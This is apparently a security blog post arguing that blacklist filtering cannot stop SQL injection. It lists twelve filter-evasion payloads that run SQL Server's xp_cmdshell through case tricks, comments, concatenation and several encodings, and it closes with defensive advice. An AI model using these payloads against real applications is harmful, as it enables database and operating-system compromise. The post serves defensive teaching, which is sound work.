SQL Injection: Death by Blacklist

No one can deny that SQL Injection is one of the biggest issues plaguing web applications today. However, there is still some ongoing debate around how to fix it. Of course, OWASP and the security community at large understand that whitelisting is a good place to start, but there are still a number of companies who have hunkered down in the blacklisting camp and are refusing to budge. For those who are out of the loop, whitelisting is a technique commonly used to for filtering content based on an approved character set. As a result, any characters not on the whitelist will be blocked. Blacklists work inversely, meaning any characters or groupings of characters that are included in the list will be blocked.

Blacklists essentially fail in the same way that traditional signature based anti-virus solutions do. Anything that is not in the library of “evil” signatures won’t be blocked. As a result, administrators and software venders are in a constant battle to maintain up–to-date blacklists. Unfortunately, blacklisting usually results in a lot of additional man hours and an application that is still vulnerable to advanced SQL injection attacks.

It is important for administrators to understand that, just because the attacks are advanced, the attacker may not be. There are many SQL injection tools freely available on the Internet that provide unskilled attackers with the means to take advantage of common application vulnerabilities. Additionally, administrators should know that many of these types of attacks are indiscriminant. Unskilled attackers often launch mass attacks that use search engines like Google to identify web applications that have common vulnerabilities that they would like to use for their own agendas.

In my experience, companies usually push for blacklisting solutions to fix SQL injection when they are low on time or money. It is true that, in some cases, it is more cost-effective to implement blacklists on existing network devices rather than to go back and actually make global changes to the application’s code base. However, what companies in that situation often forget is that most of the same network devices support web application firewall (WAF) modules that are capable of filtering using whitelists, as well.

Below are a few methods used by online attackers to bypass blacklist filters implemented to prevent SQL injection. Specifically, I’ve shown queries for executing the xp_cmshell extended stored procedure that is native to SQL Server via SQL injection. Don’t forget that many of these methods can be combined.

1. Standard SQL injection query using xp_cmdshell.

‘;exec xp_cmdshell 'dir';--

2. Using the escape character to bypass filters that replace ‘ with ‘ ‘.

‘;exec xp_cmdshell 'dir';-

3. Using upper and lower characters to bypass filters that are case sensitive. Note: The filtering may be case sensitive, but most SQL Server commands are not.

‘;exec xP_cMdsheLL 'dir';-

4. Using comments to avoid xp_cmdshell detection. Note: This method doesn’t work in SQL Server versions after 2000.

‘;ex/**/ec xp_cmds/**/hell ‘dir’;–

5. Using comments to avoid spaces. Note: This works with all versions of SQL Server.

‘;exec/**/xp_cmdshell/**/’dir’;–

6. Using concatenation to avoid xp_cmdshell detection.

‘;Declare @cmd as varchar(3000);Set @cmd =
‘x’+’p’+’_’+’c’+’m’+’d’+’s’+’h’+’e’+’l’+’l’+’/**/’+””+’d’+’i’+’r’+””;exec(@cmd);–

7. Using Base64 encoding to avoid xp_cmdshell detection. Note: I don’t believe that there is a native Base64 encode function in SQL Server, but there are many online and baked in to local proxies like Burp. If anyone knows of a native Base64 encode function let me know.

‘;DECLARE @data varchar(max), @XmlData xml;SET @data =
‘ZXhlYyBtYXN0ZXIuLnhwX2NtZHNoZWxsICdkaXIn’;SET @XmlData =
CAST(‘‘ + @data + ‘‘ as xml);SET @data = CONVERT(varchar(max),
@XmlData.value(‘(data)[1]’, ‘varbinary(max)’));exec (@data);–

8. Using char function encoding to avoid xp_cmdshell detection. Note: Encoding of characters can be done with the SELECT ASCII(‘T’) query. Also, I think the Firefox Hackbar add-on has an char encoder.

Declare @cmd as varchar(3000);Set @cmd =(CHAR(101)+CHAR(120)+CHAR(101)+CHAR(99)+CHAR(32)+CHAR(109)+CHAR(97)+CHAR(115)+CHAR(116)+CHAR(101)+CHAR(114)+CHAR(46)+CHAR(46)+CHAR(120)+CHAR(112)+CHAR(95)+CHAR(99)+CHAR(109)+CHAR(100)+CHAR(115)+CHAR(104)+CHAR(101)+CHAR(108)+CHAR(108)+CHAR(32)+CHAR(39)+CHAR(100)+CHAR(105)+CHAR(114)+CHAR(39)+CHAR(59));EXEC(@cmd);–

9. Using Unicode nchar function encoding to avoid xp_cmdshell detection. Note: Unicode character encoding can be done with the SELECT UNICODE(‘a’); query.

Declare @cmd as nvarchar(3000);Set @cmd =(nchar(101)+nchar(120)+nchar(101)+nchar(99)+nchar(32)+nchar(109)+nchar(97)+nchar(115)+nchar(116)+nchar(101)+nchar(114)+nchar(46)+nchar(46)+nchar(120)+nchar(112)+nchar(95)+nchar(99)+nchar(109)+nchar(100)+nchar(115)+nchar(104)+nchar(101)+nchar(108)+nchar(108)+nchar(32)+nchar(39)+nchar(100)+nchar(105)+nchar(114)+nchar(39)+nchar(59));EXEC(@cmd);–

10. Using binary encoded ascii, and the CAST function to avoid xp_cmdshell detection. Note: Binary encoding can be done with the SELECT CAST(‘query’ as binary); query.

‘;Declare @cmd as varchar(3000);Set @cmd =
Ncast(0x78705F636D647368656C6C202764697227 as
varchar(3000));exec(@cmd);–

11. Using binary encoded ascii, and the CONVERT function to avoid xp_cmdshell and CAST detection. Note: Binary encoding can be done with the SELECT CONVERT (binary,’query’ ); query.

‘;Declare @cmd as varchar(3000);Set @cmd = 
convert(varchar(0),0x78705F636D647368656C6C202764697227);exec(@cmd);–

12. Using sp_sqlexec to avoid EXEC() detection. Note: Yes, I know this one is a little lame, but I like it when my lists end on an even number.

‘;Declare @cmd as varchar(3000);Set @cmd =
convert(varchar(0),0x78705F636D647368656C6C202764697227);exec
sp_sqlexec @cmd;–

I realize that blacklisting characters like “)”, “;“, and ”EXEC” would help prevent a lot of the injections listed above, but the point is that, with a little creativity, attackers can usually find a way around blacklists. For those of you who are interested, I’ve provided some high level steps for preventing SQL injection in web applications below.

1. Convert all input into a single character set
2. Put input through a whitelist filter using regular expressions
3. Parameterize input
4. Use stored procedures
5. Apply least privileges to all stored procedures, database accounts, and service accounts

What it all boils down to is this, black lists help fight SQL injection problems, while white lists actually help fix them.

Even simpler: whitelists=GOOD; blacklists=PWNED

I would also like to give a shout out to Antti Rantasaari. I’ve work with him on many SQL Injection adventures, and he contributed some ideas to this blog such as number 7 on the list. Thanks Antti!

Scott Sutherland